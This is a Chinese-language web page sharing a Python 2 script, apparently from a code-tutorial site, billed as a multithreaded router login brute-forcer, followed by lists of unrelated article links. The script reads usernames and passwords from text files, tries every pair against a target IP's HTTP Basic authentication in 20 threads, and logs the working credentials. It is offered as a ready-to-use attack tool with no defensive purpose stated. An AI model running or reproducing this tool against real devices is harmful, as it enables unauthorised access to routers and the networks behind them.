python实现多线程暴力破解登陆路由器功能代码分享


Posted in Python onJanuary 04, 2015

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

#coding:utf-8- 

import base64 

import urllib2 

import Queue 

import threading,re,sys 

queue = Queue.Queue() 

class Rout_thread(threading.Thread):
  def __init__(self,queue,passwd):
    threading.Thread.__init__(self) 

    self.queue=queue 

    self.passwordlist=passwd 

  def run(self): 

    self.user=queue.get() 

    for self.passwd in self.passwordlist: 

      request = urllib2.Request("http://"+target) 

      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd) 

      request.add_header('Authorization', psw_base64) 

      try: 

         

        response = urllib2.urlopen(request) 

        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd) 

        fp3 = open('log.txt','a') 

        fp3.write(self.user+'||'+self.passwd+'\r\n') 

        fp3.close() 

      except urllib2.HTTPError: 

        print "[-]password:%s Error!" % (self.passwd)
 
if __name__ == '__main__': 

  print ''' 

    ####################################################### 

    #                                                     # 

    #                Routing brute force tool             # 

    #                                                     # 

    #                 by:well                             # 

    #                                                    # 

    ####################################################### 

''' 

  passwordlist = [] 

  line = 20 

  threads = [] 

  global target 

  target = raw_input("input ip:") 

  fp =open("user.txt") 

  fp2=open("passwd.txt") 

  for user in fp.readlines(): 

    queue.put(user.split('\n')[0]) 

  for passwd in fp2.readlines(): 

    passwordlist.append(passwd.split('\n')[0]) 

    #print passwordlist 

       

  fp.close() 

  fp2.close() 

  for i in range(line): 

    a = Rout_thread(queue,passwordlist) 

    a.start() 

    threads.append(a) 

  for j in threads: 

    j.join()
Python 相关文章推荐
用Python从零实现贝叶斯分类器的机器学习的教程
Mar 31 Python
批量获取及验证HTTP代理的Python脚本
Apr 23 Python
Python绘制3d螺旋曲线图实例代码
Dec 20 Python
Django中redis的使用方法(包括安装、配置、启动)
Feb 21 Python
Python Matplotlib实现三维数据的散点图绘制
Mar 19 Python
如何运行带参数的python脚本
Nov 15 Python
TensorFlow keras卷积神经网络 添加L2正则化方式
May 22 Python
解决python调用自己文件函数/执行函数找不到包问题
Jun 01 Python
如何在scrapy中集成selenium爬取网页的方法
Nov 18 Python
python调用jenkinsAPI构建jenkins,并传递参数的示例
Dec 09 Python
python用字节处理文件实例讲解
Apr 13 Python
Python开发五子棋小游戏
May 02 Python
Python中对列表排序实例
Jan 04 #Python
Python实现爬取知乎神回复简单爬虫代码分享
Jan 04 #Python
Python连接mssql数据库编码问题解决方法
Jan 01 #Python
Python中optparse模块使用浅析
Jan 01 #Python
Python中urllib2模块的8个使用细节分享
Jan 01 #Python
Python读取ini文件、操作mysql、发送邮件实例
Jan 01 #Python
Python实现检测服务器是否可以ping通的2种方法
Jan 01 #Python
You might like
同一空间绑定多个域名而实现访问不同页面的PHP代码
2006/12/06 PHP
php循环创建目录示例分享(php创建多级目录)
2014/03/04 PHP
php导出生成word的方法
2015/12/25 PHP
Laravel5.1框架注册中间件的三种场景详解
2019/07/09 PHP
JavaScript中获取样式的原生方法小结
2014/10/08 Javascript
js中键盘事件实例简析
2015/01/10 Javascript
PHP+MySQL+jQuery随意拖动层并即时保存拖动位置实例讲解
2015/10/09 Javascript
js HTML5多图片上传及预览实例解析(不含前端的文件分割)
2016/08/26 Javascript
基于NodeJS+MongoDB+AngularJS+Bootstrap开发书店案例分析
2017/01/12 NodeJs
基于Bootstrap的Java开发问题汇总(Spring MVC)
2017/01/15 Javascript
Js实现京东无延迟菜单效果实例(demo)
2017/06/02 Javascript
jstree单选功能的实现方法
2017/06/07 Javascript
jQuery绑定事件方法及区别(bind,click,on,live,one)
2017/08/14 jQuery
javascript基础进阶_深入剖析执行环境及作用域链
2017/09/05 Javascript
vue-cli webpack模板项目搭建及打包时路径问题的解决方法
2018/02/26 Javascript
video.js 一个页面同时播放多个视频的实例代码
2018/11/27 Javascript
js实现文章目录索引导航(table of content)
2020/05/10 Javascript
本地文件上传到七牛云服务器示例(七牛云存储)
2014/01/11 Python
python实现JAVA源代码从ANSI到UTF-8的批量转换方法
2015/08/10 Python
python按时间排序目录下的文件实现方法
2018/10/17 Python
libreoffice python 操作word及excel文档的方法
2019/07/04 Python
python实现信号时域统计特征提取代码
2020/02/26 Python
利用PyQt5+Matplotlib 绘制静态/动态图的实现代码
2020/07/13 Python
Python django框架 web端视频加密的实例详解
2020/11/20 Python
英国最大的专业户外零售商:Mountain Warehouse
2018/06/06 全球购物
Roxy俄罗斯官方网站:冲浪和滑雪板的一切
2020/06/20 全球购物
.NET程序员的数据库面试题
2012/10/10 面试题
重写子类方法时,抛出异常的书写注意事项
2015/10/17 面试题
银行职业规划书范文
2013/12/28 职场文书
打架检讨书800字
2014/01/10 职场文书
房屋租赁协议书(标准版)
2014/10/02 职场文书
教代会闭幕词
2015/01/28 职场文书
人事任命通知书
2015/04/21 职场文书
《青山不老》教学反思
2016/02/22 职场文书
SpringBoot中使用Redis作为全局锁示例过程
2022/03/24 Java/Android
前端canvas中物体边框和控制点的实现示例
2022/08/05 Javascript